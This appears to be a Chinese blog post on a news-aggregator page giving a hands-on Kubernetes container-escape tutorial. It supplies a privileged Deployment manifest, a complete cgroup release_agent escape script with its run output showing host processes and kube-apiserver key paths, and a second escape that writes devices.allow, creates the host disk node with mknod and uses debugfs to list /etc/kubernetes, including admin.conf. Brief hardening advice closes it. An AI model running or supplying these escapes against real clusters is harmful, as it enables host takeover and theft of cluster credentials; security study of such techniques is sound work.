当前位置: 首页 > news >正文

Kubernetes攻防 创建 cgroup 进行容器逃逸

创建 cgroup 进行容器逃逸

创建测试容器

apiVersion:apps/v1kind:Deploymentmetadata:name:privileged-centosnamespace:defaultlabels:app:privileged-centosspec:replicas:1selector:matchLabels:app:privileged-centostemplate:metadata:labels:app:privileged-centosspec:containers:-name:centosimage:192.168.101.99:80/base/centos:8command:["/bin/sleep","infinity"]securityContext:privileged:true

利用脚本

#!/bin/bash# filename: cgroup-angent.sh# 在容器内创建一个临时目录set-uexmkdir/tmp/cgrp&&mount-tcgroup-omemory cgroup /tmp/cgrp&&mkdir/tmp/cgrp/xecho1>/tmp/cgrp/x/notify_on_releasehost_path=`sed-n's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab`echo"$host_path/cmd">/tmp/cgrp/release_agentecho'#!/bin/sh'>/cmdecho"ps aux >$host_path/output">>/cmdchmoda+x /cmdsh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"sleep2cat"/output"

操作

[root@k8s-node1 ~]# kubectl exec -it privileged-centos-576b686949-snc2c /bin/bashkubectlexec[POD][COMMAND]is DEPRECATED and will be removedina future version. Use kubectlexec[POD]--[COMMAND]instead.[root@privileged-centos-576b686949-snc2c /]# vi cgroup-angent.sh[root@privileged-centos-576b686949-snc2c /]# bash cgroup-angent.sh+mkdir/tmp/cgrp +mount-tcgroup-omemory cgroup /tmp/cgrp +mkdir/tmp/cgrp/x +echo1++sed-n's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab +host_path=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs +echo/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd +echo'#!/bin/sh'+echo'ps aux > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/output'+chmoda+x /cmd +sh-c'echo $$ > /tmp/cgrp/x/cgroup.procs'+sleep2+cat/outputUSERPID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root10.00.117330011476? Ss Apr270:31 /usr/lib/systemd/systemd --switched-root--system--deserialize18....root12791.61.42225296117332? Ssl Apr2715:22 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf--kubeconfig=/etc/kubernetes/kubelet.conf--config=/var/lib/kubelet/config.yaml --container-runtime-endpoint=unix:///var/run/containerd/containerd.sock --hostname-override=node2 --pod-infra-container-image=registry.aliyuncs.com/kubeadm-ha/pause:3.9 --root-dir=/var/lib/kubelet root13420.00.172074815996? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id1174c4110ca3c7c62aeaa9a02d21a9189c743202df3a32410f4e0f3e23a6c7b2-address/run/containerd/containerd.sock root13440.00.272074817148? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-idb08905223037cd4bb2bc36f0c2705518222ad82e57b7a4e37b2428771908c5bc-address/run/containerd/containerd.sock root13630.00.272074817776? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id483ad1894cada0fef13d8c3a68848625e9b006acd308d3efbf49c5632fdf9df6-address/run/containerd/containerd.sock root13840.00.272100419392? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id79768b9296b6494a6192c6af568ce55368aa623fb26901735e29c0c43fb6a874-address/run/containerd/containerd.sock root13960.00.272074816576? Sl Apr270:29 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-iddfe54792a2cf823d90bee731b82111dbeeaa29594a30fe292faa157277a72e2e-address/run/containerd/containerd.sock root14140.00.272049218752? Sl Apr270:19 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id7f79bcce964dff1cc2328df785ca83db019698acd456d04600effd8c6a321960-address/run/containerd/containerd.sock... root16740.00.07844? Ss Apr270:00 tini -- /usr/local/bin/start.sh root16773.88.72150064706688? Ssl Apr2735:03 kube-apiserver --advertise-address=192.168.73.202 --allow-privileged=true --authorization-mode=Node,RBAC --client-ca-file=/etc/kubernetes/pki/ca.crt --enable-admission-plugins=NodeRestriction --enable-bootstrap-token-auth=true --encryption-provider-config=/etc/kubernetes/pki/secrets-encryption.yaml --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key --etcd-servers=https://192.168.73.201:2379,https://192.168.73.202:2379,https://192.168.73.203:2379 --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname--profiling=false --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --requestheader-allowed-names=front-proxy-client --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --requestheader-extra-headers-prefix=X-Remote-Extra- --requestheader-group-headers=X-Remote-Group --requestheader-username-headers=X-Remote-User --runtime-config=api/all=true --secure-port=6443--service-account-issuer=https://kubernetes.default.svc.cluster.local --service-account-key-file=/etc/kubernetes/pki/sa.pub --service-account-signing-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --service-node-port-range=10000-65535 --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-cipher-suites=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 --tls-private-key-file=/etc/kubernetes/pki/apiserver.key root16900.91.71401432144240? Ssl Apr278:58 kube-controller-manager --allocate-node-cidrs=true --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf --bind-address=127.0.0.1 --client-ca-file=/etc/kubernetes/pki/ca.crt --cluster-cidr=10.244.0.0/18 --cluster-name=kubernetes --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-duration=87600h0m0s --cluster-signing-key-file=/etc/kubernetes/pki/ca.key--controllers=*,bootstrapsigner,tokencleaner --feature-gates=RotateKubeletServerCertificate=true--kubeconfig=/etc/kubernetes/controller-manager.conf --leader-elect=true --node-cidr-mask-size=24--node-monitor-grace-period=40s --node-monitor-period=5s--profiling=false --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --root-ca-file=/etc/kubernetes/pki/ca.crt --service-account-private-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --terminated-pod-gc-threshold=10--use-service-account-credentials=true root16940.00.090245508? Ss Apr270:00 nginx: master process nginx-gdaemon off;....root3434960.00.0230481464? S+11:400:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep2root3434970.00.0119282784? S11:400:00 /bin/sh /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd /x root3434980.00.0497243604? R11:400:00psaux[root@privileged-centos-576b686949-snc2c /]#

另外的一个逃逸方式

借助 lxcfs 的思路,复用到 sys_admin 或特权容器的场景上读写宿主机上的文件

创建测试容器
apiVersion:apps/v1kind:Deploymentmetadata:name:privileged-nginxnamespace:defaultlabels:app:privileged-nginxspec:replicas:1selector:matchLabels:app:privileged-nginxtemplate:metadata:labels:app:privileged-nginxspec:containers:-name:nginximage:192.168.101.99:80/base/nginx:alpinecommand:["/bin/sleep","infinity"]securityContext:privileged:true
操作
[root@k8s-node1 ~]# kubectl exec -it privileged-nginx-557bf54bc8-lgmkt -- /bin/sh/## 1)挂载 devices 子系统到临时目录(与原 PoC 一致)mkdir-p/tmp/devmount-tcgroup-odevices devices /tmp/dev/# 2)取当前 shell 所在的 devices cgroup 相对路径(容器组件为 containerd 时形如 kubepods.../cri-containerd-xxxx.scope)CGROUP_REL=$(awk-F:'/:devices:/ {print $3}'/proc/self/cgroup)# 示例输出:/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod31bdef2c_6cd0_43d4_8672_e5e0fdc1e6f9.slice/cri-containerd-9e8fd55b417ded2f4f8587965ac349c63996c297b4666c261eed55b45ee0d40b.scopeecho"$CGROUP_REL"# 3)对「当前进程所在」的 cgroup 放行设备(若 echo a 后 mknod 仍 EPERM,可改为:printf 'a *:* rwm\n' > ...)echoa>"/tmp/dev${CGROUP_REL}/devices.allow"# cat "/tmp/dev${CGROUP_REL}/devices.list"# 4)mknod 的主/次设备号从 mountinfo 中取(与宿主机根盘一致),例如 grep 出 253:0# mknod: Operation not permitted 多因 2)路径不对或未真正写入当前 cgroup,与是否 containerd 无直接矛盾apkadd--no-cache e2fsprogs-extra /tmp/dev# mknod /tmp/near b 253 0/tmp/dev# debugfs -w /tmp/neardebugfs1.47.3(8-Jul-2025)debugfs: debugfs:ls/etc/kubernetes/5767919(12).5767169(12)..5767920(20)manifests5767910(16)plugins5767927(12)pki5767932(16)backup5767939(16)config131528(28)kubeadm-config.yaml5767948(20)admin.conf5767952(24)super-admin.conf5767955(20)kubelet.conf5767959(32)controller-manager.conf5767964(3856)scheduler.conf debugfs: debugfs:

防御建议

1、限制容器的 CAP_SYS_ADMIN 权限 2、使用 seccomp 过滤器限制容器内的系统调用 3、监控 cgroup 相关操作,特别是对 notify_on_release 和 release_agent 的修改 4、使用只读文件系统运行容器,减少攻击面
http://www.jsqmd.com/news/721848/

相关文章:

  • 服务器追踪线程
  • 手机OIS马达拆解:从苹果的悬丝到三星的滚珠,不同方案如何影响你的拍照体验?
  • C# 13内联数组性能真相(Stack-Only Array大揭秘):为什么.NET Runtime团队禁用常规new操作符?
  • 秘语盾技术团队解析 Ledger Nano X 蓝牙连接优化
  • 10款高效降AI率工具深度实测!(附免费优化方案) 【2026权威版】 - 殷念写论文
  • 企业网关高可用实战:当VRRP遇到BFD,如何实现毫秒级故障切换?
  • 实测英文降AI率指南:Turnitin更新后,我如何将AI率从80%降至10% - 殷念写论文
  • 别再让串口数据乱飞了!手把手教你用C语言实现一个通用的FIFO循环队列(附STM32串口收发实战代码)
  • 电视怎么选才不踩坑?2026 高端 Mini LED 电视哪台更适合你?
  • 【神经康复】| 双靶iTBS可更有效改善卒中患者步态功能与脑网络连接
  • MacBook Air M5 免费养个 AI 助手:Gemma 4 本地运行 OpenClaw 完全指南
  • 基于云模型-MABAC决策框架的冷链物流供应商选择研究附Matlab代码
  • PWME 140x8/16驱动器
  • 别再乱装图片插件了!我手写了一个,能扒光整个网页(含背景/iframe/Shadow DOM)
  • 告别手动重复:用Python+HFSS脚本实现天线仿真结果自动导出与报告生成
  • 拥有多个二次元老婆:如何在手机上设置Live2D模型为动态高清壁纸
  • C#-字符串与16进制字节数组转换
  • C# 13指针与fixed语句安全红线:5类高危模式、3层编译器防护、1套企业级审计清单
  • VirtualBrowser 2.1.15:一站式浏览器指纹管理实战指南
  • RS_ASIO:终极低延迟音频解决方案,为Rocksmith 2014带来专业级音频体验
  • 暴雨大讲堂|AI算力异构与液冷重塑算力产业新格局
  • 告别Anchor Boxes:手把手带你用PyTorch复现FCOS目标检测模型(附完整代码)
  • 香港启世集团宣布即将发布人工光合作用突破性技术
  • show
  • Ledger 硬件钱包支持币种大全(中国用户参考版)
  • MagiskHide Props Config终极指南:Android设备指纹伪装与安全检测绕过完整方案
  • 告别理论推导!用SH33F2811的SVPWM模块驱动电机,实测波形与代码分享
  • MacType终极指南:3步让Windows字体焕然一新,告别模糊显示!
  • 微软向美国约7%员工提供自愿退休买断计划
  • Winhance中文版终极指南:完全掌握Windows系统优化与管理